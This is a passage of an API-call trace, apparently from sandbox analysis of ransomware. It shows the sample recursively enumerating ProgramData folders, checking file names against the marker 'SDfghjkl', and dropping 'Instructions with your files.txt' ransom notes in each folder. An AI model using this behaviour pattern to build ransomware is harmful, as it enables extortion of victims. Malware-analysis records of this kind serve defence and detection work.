[0121.435] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework") returned 41
[0121.435] GetProcessHeap () returned 0x810000
[0121.435] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0121.435] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\*") returned 43
[0121.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0121.438] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\.") returned 43
[0121.438] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.438] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\..") returned 44
[0121.438] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1
[0121.438] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned 57
[0121.438] GetProcessHeap () returned 0x810000
[0121.438] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0121.438] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*") returned 59
[0121.438] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0121.438] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\.") returned 59
[0121.438] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.438] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\..") returned 60
[0121.438] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0121.439] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\Instructions with your files.txt") returned 90
[0121.439] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\netframework\\breadcrumbstore\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0121.441] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0121.442] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0121.442] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0121.442] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0121.442] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0121.442] CloseHandle (hObject=0x110) returned 1
[0121.443] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0121.443] GetProcessHeap () returned 0x810000
[0121.443] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0121.443] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0
[0121.443] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\Instructions with your files.txt") returned 74
[0121.443] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\netframework\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0121.443] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0121.444] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0121.444] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0121.444] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0121.444] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0121.444] CloseHandle (hObject=0x10c) returned 1
[0121.444] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0121.444] GetProcessHeap () returned 0x810000
[0121.444] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0121.444] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1
[0121.444] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network") returned 36
[0121.444] GetProcessHeap () returned 0x810000
[0121.445] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0121.445] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\*") returned 38
[0121.445] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0121.445] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\.") returned 38
[0121.445] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.445] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\..") returned 39
[0121.445] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1
[0121.445] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections") returned 48
[0121.445] GetProcessHeap () returned 0x810000
[0121.445] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0121.445] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\*") returned 50
[0121.445] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0121.445] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\.") returned 50
[0121.445] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.445] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\..") returned 51
[0121.445] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0121.445] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\Instructions with your files.txt") returned 81
[0121.446] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Connections\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\network\\connections\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0121.447] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0121.448] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0121.448] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0121.449] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0121.449] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0121.449] CloseHandle (hObject=0x110) returned 1
[0121.449] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0121.449] GetProcessHeap () returned 0x810000
[0121.449] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0121.449] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1
[0121.449] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader") returned 47
[0121.449] GetProcessHeap () returned 0x810000
[0121.449] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0121.449] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\*") returned 49
[0121.449] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0121.449] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\.") returned 49
[0121.449] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.449] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\..") returned 50
[0121.449] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xe0118910, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr0.dat", cAlternateFileName="")) returned 1
[0121.449] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat") returned 57
[0121.449] StrStrIW (lpFirst="qmgr0.dat", lpSrch="SDfghjkl") returned 0x0
[0121.450] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 1
[0121.450] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat") returned 57
[0121.450] StrStrIW (lpFirst="qmgr1.dat", lpSrch="SDfghjkl") returned 0x0
[0121.450] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 0
[0121.450] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\Instructions with your files.txt") returned 80
[0121.450] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0121.450] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0121.451] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0121.451] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0121.451] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0121.451] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0121.451] CloseHandle (hObject=0x110) returned 1
[0121.451] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0121.451] GetProcessHeap () returned 0x810000
[0121.451] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0121.451] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0
[0121.451] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Instructions with your files.txt") returned 69
[0121.451] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\network\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0121.453] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0121.454] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0121.454] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
